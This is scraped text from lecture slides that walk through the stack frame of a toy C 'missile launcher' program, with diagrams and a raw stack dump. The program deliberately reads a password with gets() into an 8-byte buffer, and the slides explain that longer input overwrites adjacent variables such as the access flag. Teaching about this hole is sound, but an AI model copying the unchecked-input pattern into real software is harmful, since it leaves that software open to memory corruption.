  • 80. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) Create a new stack frame, before allocating space for the local variables on the stack.
  • 81. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Create a new stack frame, before allocating space for the local variables on the stack.
  • 82. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Hey, wait a minute... should not the stack variables be allocated in correct order? Create a new stack frame, before allocating space for the local variables on the stack.
  • 83. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) There is no "correct order" here. In this case, the compiler is free to store objects of automatic storage duration (the correct name for "stack variables") in any order. Indeed, it can keep all of them in registers or ignore them completely as long as the external behavior of the program is the same. Hey, wait a minute... should not the stack variables be allocated in correct order? Create a new stack frame, before allocating space for the local variables on the stack.
  • 84. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 85. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 86. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Then we call printf() with an argument. return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 87. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Then we call printf() with an argument. return address, next intruction in _main pointer to stack frame for _main pointer to string "Secret: " allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 88. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Then we call printf() with an argument. return address, next intruction in _main pointer to stack frame for _main return address, authenticate_and_launch() pointer to string "Secret: " allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 89. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Then we call printf() with an argument. return address, next intruction in _main pointer to stack frame for _main return address, authenticate_and_launch() pointer to string "Secret: " (whatever printf() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 90. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address Then we call printf() with an argument. return address, next intruction in _main pointer to stack frame for _main return address, authenticate_and_launch() pointer to string "Secret: " (whatever printf() needs to do) After the prompt has been written to the standard output stream.The stack is cleaned up and we get ready to execute the next statement. allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 91. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) return address, authenticate_and_launch() pointer to string "Secret: " (whatever printf() needs to do)
  • 92. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 93. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 94. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 95. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Then the return address. Before jumping into gets()
  • 96. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Then the return address. Before jumping into gets()
  • 97. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Then the return address. Before jumping into gets()
  • 98. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main gets() will wait for input from the standard input stream. Each character will be poked sequentally into the response buffer until a newline character, end-of-line or some kind of error occurs.Then, before returning it will append a '0' character to the buffer. pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Then the return address. Before jumping into gets()
  • 99. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address First the pointer to the response buffer is pushed on stack. return address, next intruction in _main pointer to stack frame for _main gets() will wait for input from the standard input stream. Each character will be poked sequentally into the response buffer until a newline character, end-of-line or some kind of error occurs.Then, before returning it will append a '0' character to the buffer. pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) If the input is 8 characters or more, then the response buffer allocated on the stack is not big enough, and in this case the data storage of the other variables will be overwritten. allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) Then the return address. Before jumping into gets()
  • 100. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do)
  • 101. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) Here is the exact stack data I got one time I executed the code on my machine.
  • 102. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c Here is the exact stack data I got one time I executed the code on my machine.
  • 103. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c Here is the exact stack data I got one time I executed the code on my machine. A lot of this is just padding due to alignment issues.
  • 104. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c A lot of this is just padding due to alignment issues. Here is the exact stack data I got one time I executed the code on my machine.
  • 105. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 106. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 107. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 108. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 109. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 110. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 111. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } allowaccess (1 byte) response (8 bytes) n_missiles (4 bytes) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 112. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0xbffffa40 0xbffffa6c Let's focus just on our three "stack variables"
  • 113. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0xbffffa40 0xbffffa6c
